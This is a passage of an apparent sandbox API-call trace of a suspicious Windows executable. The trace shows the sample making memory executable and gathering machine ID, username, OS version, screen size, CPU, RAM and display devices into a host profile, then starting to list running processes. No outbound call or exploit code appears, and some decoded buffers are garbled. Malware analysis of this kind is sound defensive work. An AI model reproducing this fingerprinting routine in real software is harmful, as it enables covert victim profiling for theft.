NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.076] GetComputerNameW (in: lpBuffer=0x1e7df9f0, nSize=0x1e7df9ec | out: lpBuffer="YKYD69Q", nSize=0x1e7df9ec) returned 1 [0166.076] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7debe4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Qz7 Professional0-1a800e9a56e0¤îõà\x1cì}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 7 [0166.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.077] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e7dfb38, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0166.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb09, cbMultiByte=1, lpWideCharStr=0x1e7deae0, cchWideChar=2047 | out: lpWideCharStr="6ṽꇨḢ疐[皸[Ḫ笨[篸[ṽṽﰤṽọ矂甤t￾￿瞽瞽0") returned 1 [0166.078] SysReAllocStringLen (in: pbstr=0x1e7dfc30*=0x0, psz="6", len=0x1 | out: pbstr=0x1e7dfc30*="6") returned 1 [0166.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb01, cbMultiByte=1, lpWideCharStr=0x1e7dead8, cchWideChar=2047 | out: lpWideCharStr="1ṽ﬉ṽ6ṽꇨḢ疐[皸[Ḫ笨[篸[ṽṽﰤṽọ矂甤t￾￿瞽瞽0") returned 1 [0166.078] SysReAllocStringLen (in: pbstr=0x1e7dfc2c*=0x0, psz="1", len=0x1 | out: pbstr=0x1e7dfc2c*="1") returned 1 [0166.078] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="6.1", cchWideChar=3, lpMultiByteStr=0x1e7dec00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6.1\x1e56e0¤îõà\x1cì}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 3 [0166.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd313c0, cbMultiByte=153, lpWideCharStr=0x1e7dec3c, cchWideChar=2047 | out: lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 瑰ṽ\x02") returned 153 [0166.078] SysReAllocStringLen (in: pbstr=0x1e7dfca4*=0x0, psz="x32", len=0x3 | out: pbstr=0x1e7dfca4*="x32") returned 1 [0166.078] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75b90000 [0166.078] GetProcAddress (hModule=0x75b90000, lpProcName="IsWow64Process") returned 0x75ba195e [0166.079] GetCurrentProcess () returned 0xffffffff [0166.079] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1e7dfc38 | out: Wow64Process=0x1e7dfc38) returned 1 [0166.079] SysReAllocStringLen (in: pbstr=0x1e7dfca4*="x32", psz="x64", len=0x3 | out: pbstr=0x1e7dfca4*="x64") returned 1 [0166.079] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc18 | out: phkResult=0x1e7dfc18*=0xf4) returned 0x0 [0166.079] RegQueryValueExW (in: hKey=0xf4, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfc20, lpData=0x1e7dfa18, lpcbData=0x1e7dfc1c*=0xfe | out: lpType=0x1e7dfc20*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfc1c*=0x2e) returned 0x0 [0166.079] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.079] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\n", cchWideChar=181, lpMultiByteStr=0x1e7dec3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\n", lpUsedDefaultChar=0x0) returned 181 [0166.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd3152c, cbMultiByte=204, lpWideCharStr=0x1e7dec3c, cchWideChar=2047 | out: lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : ᶂ瑳ゐῡṽ⥬A\x04") returned 204 [0166.079] GetComputerNameW (in: lpBuffer=0x1e7dfa44, nSize=0x1e7dfa40 | out: lpBuffer="YKYD69Q", nSize=0x1e7dfa40) returned 1 [0166.079] GetUserNameW (in: lpBuffer=0x1e7dfa3c, pcbBuffer=0x1e7dfa38 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7dfa38) returned 1 [0166.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\n", cchWideChar=223, lpMultiByteStr=0x1e7dec3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\n", lpUsedDefaultChar=0x0) returned 223 [0166.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31608, cbMultiByte=231, lpWideCharStr=0x1e7dec3c, cchWideChar=2047 | out: lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\nScreen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 231 [0166.080] GetSystemMetrics (nIndex=0) returned 1440 [0166.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb41, cbMultiByte=4, lpWideCharStr=0x1e7deb18, cchWideChar=2047 | out: lpWideCharStr="1440\x06") returned 4 [0166.080] SysReAllocStringLen (in: pbstr=0x1e7dfc7c*=0x0, psz="1440", len=0x4 | out: pbstr=0x1e7dfc7c*="1440") returned 1 [0166.080] GetSystemMetrics (nIndex=1) returned 900 [0166.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb39, cbMultiByte=3, lpWideCharStr=0x1e7deb10, cchWideChar=2047 | out: lpWideCharStr="900ṽ1440\x06") returned 3 [0166.080] SysReAllocStringLen (in: pbstr=0x1e7dfc78*=0x0, psz="900", len=0x3 | out: pbstr=0x1e7dfc78*="900") returned 1 [0166.080] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\nScreen: 1440x900\r\n", cchWideChar=241, lpMultiByteStr=0x1e7dec3c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MachineID : A9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038\r\nEXE_PATH : C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\nScreen: 1440x900\r\n", lpUsedDefaultChar=0x0) returned 241 [0166.080] GetKeyboardLayoutList (in: nBuff=40, lpList=0x1e7dfc18 | out: lpList=0x1e7dfc18) returned 1 [0166.080] GetLocaleInfoA (in: Locale=0x409, LCType=0x59, lpLCData=0x1e7dfb18, cchData=256 | out: lpLCData="en") returned 3 [0166.080] GetLocalTime (in: lpSystemTime=0x1e7dfc30 | out: lpSystemTime=0x1e7dfc30*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x2, wDay=0xa, wHour=0x0, wMinute=0x33, wSecond=0x29, wMilliseconds=0x12c)) [0166.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfaf9, cbMultiByte=2, lpWideCharStr=0x1e7dead0, cchWideChar=2047 | out: lpWideCharStr="10ṽ䘨痦฼Ḫṽ\x06") returned 2 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc28*=0x0, psz="10", len=0x2 | out: pbstr=0x1e7dfc28*="10") returned 1 [0166.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfaf1, cbMultiByte=2, lpWideCharStr=0x1e7deac8, cchWideChar=2047 | out: lpWideCharStr="11﫹ṽ10ṽ䘨痦฼Ḫṽ\x06") returned 2 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc24*=0x0, psz="11", len=0x2 | out: pbstr=0x1e7dfc24*="11") returned 1 [0166.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfae9, cbMultiByte=4, lpWideCharStr=0x1e7deac0, cchWideChar=2047 | out: lpWideCharStr="202011﫹ṽ10ṽ䘨痦฼Ḫṽ\x06") returned 4 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc20*=0x0, psz="2020", len=0x4 | out: pbstr=0x1e7dfc20*="2020") returned 1 [0166.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfae1, cbMultiByte=1, lpWideCharStr=0x1e7deab8, cchWideChar=2047 | out: lpWideCharStr="0ṽ﫩ṽ202011﫹ṽ10ṽ䘨痦฼Ḫṽ\x06") returned 1 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc1c*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7dfc1c*="0") returned 1 [0166.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfad9, cbMultiByte=2, lpWideCharStr=0x1e7deab0, cchWideChar=2047 | out: lpWideCharStr="51﫡ṽ0ṽ﫩ṽ202011﫹ṽ10ṽ䘨痦฼Ḫṽ\x06") returned 2 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc18*=0x0, psz="51", len=0x2 | out: pbstr=0x1e7dfc18*="51") returned 1 [0166.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfad1, cbMultiByte=2, lpWideCharStr=0x1e7deaa8, cchWideChar=2047 | out: lpWideCharStr="41龎ṽ51﫡ṽ0ṽ﫩ṽ202011﫹ṽ10ṽ䘨痦฼Ḫṽ\x06") returned 2 [0166.081] SysReAllocStringLen (in: pbstr=0x1e7dfc14*=0x0, psz="41", len=0x2 | out: pbstr=0x1e7dfc14*="41") returned 1 [0166.081] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="10/11/2020 0:51:41", cchWideChar=18, lpMultiByteStr=0x1e7debf0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10/11/2020 0:51:41Ï\x1f<ì}\x1e¤ý}\x1e", lpUsedDefaultChar=0x0) returned 18 [0166.081] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1e7dfb94 | out: lpTimeZoneInformation=0x1e7dfb94) returned 0x0 [0166.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfa61, cbMultiByte=1, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="0ṽṽ眨Љ") returned 1 [0166.082] SysReAllocStringLen (in: pbstr=0x1e7dfb8c*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7dfb8c*="0") returned 1 [0166.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfa59, cbMultiByte=1, lpWideCharStr=0x1e7dea30, cchWideChar=2047 | out: lpWideCharStr="0ṽ視ṽ0ṽṽ眨Љ") returned 1 [0166.082] SysReAllocStringLen (in: pbstr=0x1e7dfb88*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7dfb88*="0") returned 1 [0166.082] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="UTC+0:0", cchWideChar=7, lpMultiByteStr=0x1e7deb5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UTC+0:0à\x07", lpUsedDefaultChar=0x0) returned 7 [0166.082] GetSystemInfo (in: lpSystemInfo=0x1e7dfc20 | out: lpSystemInfo=0x1e7dfc20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0166.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31974, cbMultiByte=19, lpWideCharStr=0x1e7debb8, cchWideChar=2047 | out: lpWideCharStr="ProcessorNameStringṽ\x12") returned 19 [0166.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31994, cbMultiByte=46, lpWideCharStr=0x1e7debb4, cchWideChar=2047 | out: lpWideCharStr="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0ò") returned 46 [0166.082] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfbb0 | out: phkResult=0x1e7dfbb0*=0x670) returned 0x0 [0166.083] RegQueryValueExW (in: hKey=0x670, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x1e7dfbb8, lpData=0x1e7df9b0, lpcbData=0x1e7dfbb4*=0xfe | out: lpType=0x1e7dfbb8*=0x1, lpData="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", lpcbData=0x1e7dfbb4*=0x50) returned 0x0 [0166.083] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="CPU Model: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\r\n", cchWideChar=52, lpMultiByteStr=0x1e7debc8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPU Model: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\r\nr", lpUsedDefaultChar=0x0) returned 52 [0166.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd31298, cbMultiByte=63, lpWideCharStr=0x1e7debc8, cchWideChar=2047 | out: lpWideCharStr="CPU Model: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\r\nCPU Count: ›†㥁㥄ㅄ㤰㌭㌴㉁䍅ⴶ㤸㉂䙁㡂㜭㍆ㅂ䘸ⴰ㡅䌰〰㠳਍塅彅䅐䡔†›†㩃啜敳獲慜呅摁橺屺灁䑰瑡屡潒浡湩屧杦癨杨癨晧杤桦档杦攮數਍਍楗摮睯⁳†㨠†㘠ㄮ砠㐶圠湩潤獷㜠倠潲敦獳潩慮൬䌊浯異整⡲獕牥慮敭
›†䭙䑙㤶⡑䕡䅔穤穪ഩ匊牣敥㩮ㄠ㐴砰〹ര\nhchfg.exe\r\n\r\nWindows : 6.1 x64 Windows 7 Professional\r\nComputer(Username) : YKYD69Q(aETAdzjz)\r\nScreen: ṽ◧瑳ゐῡ⡴A☼瑳\x08") returned 63 [0166.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfacd, cbMultiByte=1, lpWideCharStr=0x1e7deaa4, cchWideChar=2047 | out: lpWideCharStr="4ṽ41龎ṽ⹇眨⹣眨0ṽ﫩ṽ202011﫹ṽ10ṽ\x07") returned 1 [0166.083] SysReAllocStringLen (in: pbstr=0x1e7dfbf4*=0x0, psz="4", len=0x1 | out: pbstr=0x1e7dfbf4*="4") returned 1 [0166.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="CPU Model: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\r\nCPU Count: 4\r\n", cchWideChar=66, lpMultiByteStr=0x1e7debc8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPU Model: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\r\nCPU Count: 4\r\n5", lpUsedDefaultChar=0x0) returned 66 [0166.083] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0166.083] GetProcAddress (hModule=0x75b90000, lpProcName="GlobalMemoryStatusEx") returned 0x75bcd4c4 [0166.084] GlobalMemoryStatusEx (in: lpBuffer=0x1e7dfb8c | out: lpBuffer=0x1e7dfb8c) returned 1 [0166.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfa69, cbMultiByte=4, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="4096\x01") returned 4 [0166.084] SysReAllocStringLen (in: pbstr=0x1e7dfb88*=0x0, psz="4096", len=0x4 | out: pbstr=0x1e7dfb88*="4096") returned 1 [0166.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="4096", cchWideChar=4, lpMultiByteStr=0x1e7deb60, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4096à1[", lpUsedDefaultChar=0x0) returned 4 [0166.084] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0166.084] GetProcAddress (hModule=0x770d0000, lpProcName="EnumDisplayDevicesW") returned 0x7710e567 [0166.084] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x0, lpDisplayDevice=0x1e7dfa80, dwFlags=0x0 | out: lpDisplayDevice=0x1e7dfa80) returned 1 [0166.085] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Standard VGA Graphics Adapter", cchWideChar=29, lpMultiByteStr=0x1e7dea48, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard VGA Graphics AdapterØ*\x1e\x88ê}\x1e(Fæu\x0cØ*\x1e¤ê}\x1e\x02", lpUsedDefaultChar=0x0) returned 29 [0166.085] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x1, lpDisplayDevice=0x1e7dfa80, dwFlags=0x0 | out: lpDisplayDevice=0x1e7dfa80) returned 1 [0166.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="RDPDD Chained DD", cchWideChar=16, lpMultiByteStr=0x1e7dea48, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RDPDD Chained DDphics AdapterØ*\x1e\x88ê}\x1e(Fæu\x0cØ*\x1e¤ê}\x1e\x02", lpUsedDefaultChar=0x0) returned 16 [0166.086] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x2, lpDisplayDevice=0x1e7dfa80, dwFlags=0x0 | out: lpDisplayDevice=0x1e7dfa80) returned 1 [0166.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="RDP Encoder Mirror Driver", cchWideChar=25, lpMultiByteStr=0x1e7dea48, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RDP Encoder Mirror DriverpterØ*\x1e\x88ê}\x1e(Fæu\x0cØ*\x1e¤ê}\x1e\x02", lpUsedDefaultChar=0x0) returned 25 [0166.086] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x3, lpDisplayDevice=0x1e7dfa80, dwFlags=0x0 | out: lpDisplayDevice=0x1e7dfa80) returned 1 [0166.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="RDP Reflector Display Driver", cchWideChar=28, lpMultiByteStr=0x1e7dea48, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RDP Reflector Display DriverrØ*\x1e\x88ê}\x1e(Fæu\x0cØ*\x1e¤ê}\x1e\x02", lpUsedDefaultChar=0x0) returned 28 [0166.086] EnumDisplayDevicesW (in: lpDevice=0x0, iDevNum=0x4, lpDisplayDevice=0x1e7dfa80, dwFlags=0x0 | out: lpDisplayDevice=0x1e7dfa80) returned 0 [0166.087] Sleep (dwMilliseconds=0x1) [0166.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.108] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0166.108] GetProcAddress (hModule=0x75b90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75bc735f [0166.108] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0166.108] GetProcAddress (hModule=0x75b90000, lpProcName="Process32FirstW") returned 0x75bc8baf [0166.108] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0166.109] GetProcAddress (hModule=0x75b90000, lpProcName="Process32NextW") returned 0x75bc896c [0166.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x628 [0166.115] Process32FirstW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.116] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.116] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.117] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, 